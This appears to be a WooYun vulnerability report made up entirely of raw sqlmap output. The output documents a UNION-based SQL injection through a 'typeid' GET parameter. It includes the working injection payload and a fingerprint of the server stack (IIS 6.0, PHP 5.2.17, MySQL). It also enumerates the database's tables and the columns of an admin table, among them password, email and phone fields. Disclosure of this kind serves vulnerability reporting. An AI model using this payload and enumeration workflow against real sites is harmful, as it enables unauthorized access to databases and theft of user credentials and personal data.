WooYun.org

[13:59:51] [INFO] GET parameter 'typeid' is 'MySQL UNION query (58) - 1 to 10 columns' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
GET parameter 'typeid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 257 HTTP(s) requests:
---
Parameter: typeid (GET)
    Type: UNION query
    Title: MySQL UNION query (58) - 10 columns
    Payload: typeid=-2639 UNION ALL SELECT 58,58,CONCAT(0x717a717a71,0x7a44535356575659634c,0x7176766271),58,58,58,58,58,58,58#&id=809
---
[14:00:44] [INFO] testing MySQL
[14:01:05] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
[14:01:11] [INFO] confirming MySQL
[14:01:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[14:01:12] [INFO] fetching database names
[14:01:12] [INFO] the SQL query used returns 2 entries
[14:01:22] [INFO] retrieved: information_schema
[14:01:22] [INFO] retrieved: peopledata
available databases [2]:
[*] information_schema
[*] peopledata
Database: peopledata
[8 tables]
+------------------+
| ceo_admin        |
| ceo_link         |
| ceo_list         |
| ceo_list_details |
| ceo_mboard       |
| ceo_type         |
| ceo_user         |
| web_basic_info   |
+------------------+
Database: peopledata
Table: ceo_admin
[12 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| is_active   | int(11)      |
| u_id        | int(11)      |
| u_in_id     | int(11)      |
| user_date   | varchar(250) |
| user_email  | varchar(250) |
| user_mobile | varchar(250) |
| user_name   | varchar(50)  |
| user_pass   | varchar(50)  |
| user_qq     | varchar(250) |
| user_right  | varchar(250) |
| user_tel    | varchar(250) |
| user_zw     | varchar(250) |
+-------------+--------------+